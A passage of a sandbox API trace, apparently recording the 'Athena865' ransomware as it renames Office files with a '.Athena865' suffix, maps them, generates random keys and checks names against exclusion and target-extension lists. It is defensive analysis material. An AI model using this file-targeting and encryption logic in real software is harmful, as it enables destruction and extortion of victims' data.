[0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".lnk") returned 1 [0140.644] lstrlenW (lpString=".ini") returned 4 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".ini") returned 1 [0140.644] lstrlenW (lpString=".sys") returned 4 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".sys") returned 1 [0140.644] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0140.644] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.Athena865") returned 73 [0140.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.646] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0140.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.646] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.647] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.647] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.647] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.654] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.661] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.661] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.662] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.662] CloseHandle (hObject=0x154) returned 1 [0140.662] CloseHandle (hObject=0x17c) returned 1 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.662] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0140.662] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.662] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".") returned 1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="..") returned 1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="windows") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="bootmgr") returned 1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="temp") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="pagefile.sys") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="boot") returned 1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="ids.txt") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="ntuser.dat") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="perflogs") returned -1 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2="MSBuild") returned -1 [0140.663] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0140.663] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXPTOOWS.DLL" | out: lpString1="EXPTOOWS.DLL") returned="EXPTOOWS.DLL" [0140.663] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0140.663] lstrlenW (lpString="Athena865") returned 9 [0140.663] lstrcmpiW (lpString1="TOOWS.DLL", lpString2="Athena865") returned 1 [0140.663] lstrlenW (lpString=".dll") returned 4 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".dll") returned 1 [0140.663] lstrlenW (lpString=".lnk") returned 4 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".lnk") returned 1 [0140.663] lstrlenW (lpString=".ini") returned 4 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".ini") returned 1 [0140.663] lstrlenW (lpString=".sys") returned 4 [0140.663] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".sys") returned 1 [0140.663] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0140.663] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.Athena865") returned 70 [0140.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.athena865"), dwFlags=0x1) returned 1 [0140.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.669] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12160) returned 1 [0140.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.669] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.670] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.670] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.670] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3280, lpName=0x0) returned 0x154 [0140.672] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3280) returned 0x100000 [0140.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.693] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.693] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.694] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.694] CloseHandle (hObject=0x154) returned 1 [0140.694] CloseHandle (hObject=0x17c) returned 1 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.694] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0140.694] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".") returned 1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="..") returned 1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="windows") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="bootmgr") returned 1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="temp") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="pagefile.sys") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="boot") returned 1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="ids.txt") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="ntuser.dat") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="perflogs") returned -1 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2="MSBuild") returned -1 [0140.695] lstrlenW (lpString="EXPTOOWS.XLA") returned 12 [0140.695] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXPTOOWS.XLA" | out: lpString1="EXPTOOWS.XLA") returned="EXPTOOWS.XLA" [0140.695] lstrlenW (lpString="EXPTOOWS.XLA") returned 12 [0140.695] lstrlenW (lpString="Athena865") returned 9 [0140.695] lstrcmpiW (lpString1="TOOWS.XLA", lpString2="Athena865") returned 1 [0140.695] lstrlenW (lpString=".dll") returned 4 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".dll") returned 1 [0140.695] lstrlenW (lpString=".lnk") returned 4 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".lnk") returned 1 [0140.695] lstrlenW (lpString=".ini") returned 4 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".ini") returned 1 [0140.695] lstrlenW (lpString=".sys") returned 4 [0140.695] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".sys") returned 1 [0140.695] lstrlenW (lpString="EXPTOOWS.XLA") returned 12 [0140.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.Athena865") returned 70 [0140.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.athena865"), dwFlags=0x1) returned 1 [0140.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.698] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114688) returned 1 [0140.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.698] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.699] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.699] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.699] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c300, lpName=0x0) returned 0x154 [0140.701] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c300) returned 0x100000 [0140.752] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.753] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.753] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.754] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.755] CloseHandle (hObject=0x154) returned 1 [0140.755] CloseHandle (hObject=0x17c) returned 1 [0140.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".") returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="..") returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="windows") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="bootmgr") returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="temp") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="pagefile.sys") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="boot") returned 1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="ids.txt") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="ntuser.dat") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="perflogs") returned -1 [0140.756] lstrcmpiW (lpString1="FACILITY.VSL", lpString2="MSBuild") returned -1 [0140.756] lstrlenW (lpString="FACILITY.VSL") returned 12 [0140.756] lstrcpyW (in: lpString1=0x241e8a8, lpString2="FACILITY.VSL" | out: lpString1="FACILITY.VSL") returned="FACILITY.VSL" [0140.756] lstrlenW (lpString="FACILITY.VSL") returned 12 [0140.756] lstrlenW (lpString="Athena865") returned 9 [0140.757] lstrcmpiW (lpString1="ILITY.VSL", lpString2="Athena865") returned 1 [0140.757] lstrlenW (lpString=".dll") returned 4 [0140.757] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".dll") returned 1 [0140.757] lstrlenW (lpString=".lnk") returned 4 [0140.757] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".lnk") returned 1 [0140.757] lstrlenW (lpString=".ini") returned 4 [0140.757] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".ini") returned 1 [0140.757] lstrlenW (lpString=".sys") returned 4 [0140.757] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".sys") returned 1 [0140.757] lstrlenW (lpString="FACILITY.VSL") returned 12 [0140.757] lstrlenW (lpString="bak") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0140.757] lstrlenW (lpString="ba_") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0140.757] lstrlenW (lpString="dbb") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0140.757] lstrlenW (lpString="vmdk") returned 4 [0140.757] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0140.757] lstrlenW (lpString="rar") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0140.757] lstrlenW (lpString="zip") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0140.757] lstrlenW (lpString="tgz") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0140.757] lstrlenW (lpString="vbox") returned 4 [0140.757] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0140.757] lstrlenW (lpString="vdi") returned 3 [0140.757] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0140.757] lstrlenW (lpString="vhd") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0140.758] lstrlenW (lpString="vhdx") returned 4 [0140.758] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0140.758] lstrlenW (lpString="avhd") returned 4 [0140.758] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0140.758] lstrlenW (lpString="db") returned 2 [0140.758] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0140.758] lstrlenW (lpString="db2") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0140.758] lstrlenW (lpString="db3") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0140.758] lstrlenW (lpString="dbf") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0140.758] lstrlenW (lpString="mdf") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0140.758] lstrlenW (lpString="mdb") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0140.758] lstrlenW (lpString="sql") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0140.758] lstrlenW (lpString="sqlite") returned 6 [0140.758] lstrcmpiW (lpString1="TY.VSL", lpString2="sqlite") returned 1 [0140.758] lstrlenW (lpString="sqlite3") returned 7 [0140.758] lstrcmpiW (lpString1="ITY.VSL", lpString2="sqlite3") returned -1 [0140.758] lstrlenW (lpString="sqlitedb") returned 8 [0140.758] lstrcmpiW (lpString1="LITY.VSL", lpString2="sqlitedb") returned -1 [0140.758] lstrlenW (lpString="xml") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0140.758] lstrlenW (lpString="$er") returned 3 [0140.758] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0140.759] lstrlenW (lpString="4dd") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0140.759] lstrlenW (lpString="4dl") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0140.759] lstrlenW (lpString="^^^") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0140.759] lstrlenW (lpString="abs") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0140.759] lstrlenW (lpString="abx") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0140.759] lstrlenW (lpString="accdb") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accdb") returned 1 [0140.759] lstrlenW (lpString="accdc") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accdc") returned 1 [0140.759] lstrlenW (lpString="accde") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accde") returned 1 [0140.759] lstrlenW (lpString="accdr") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accdr") returned 1 [0140.759] lstrlenW (lpString="accdt") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accdt") returned 1 [0140.759] lstrlenW (lpString="accdw") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accdw") returned 1 [0140.759] lstrlenW (lpString="accft") returned 5 [0140.759] lstrcmpiW (lpString1="Y.VSL", lpString2="accft") returned 1 [0140.759] lstrlenW (lpString="adb") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0140.759] lstrlenW (lpString="adb") returned 3 [0140.759] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0140.759] lstrlenW (lpString="ade") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0140.760] lstrlenW (lpString="adf") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0140.760] lstrlenW (lpString="adn") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0140.760] lstrlenW (lpString="adp") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0140.760] lstrlenW (lpString="alf") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0140.760] lstrlenW (lpString="ask") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0140.760] lstrlenW (lpString="btr") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0140.760] lstrlenW (lpString="cat") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0140.760] lstrlenW (lpString="cdb") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0140.760] lstrlenW (lpString="ckp") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0140.760] lstrlenW (lpString="cma") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0140.760] lstrlenW (lpString="cpd") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0140.760] lstrlenW (lpString="dacpac") returned 6 [0140.760] lstrcmpiW (lpString1="TY.VSL", lpString2="dacpac") returned 1 [0140.760] lstrlenW (lpString="dad") returned 3 [0140.760] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0140.760] lstrlenW (lpString="dadiagrams") returned 10 [0140.760] lstrcmpiW (lpString1="CILITY.VSL", lpString2="dadiagrams") returned 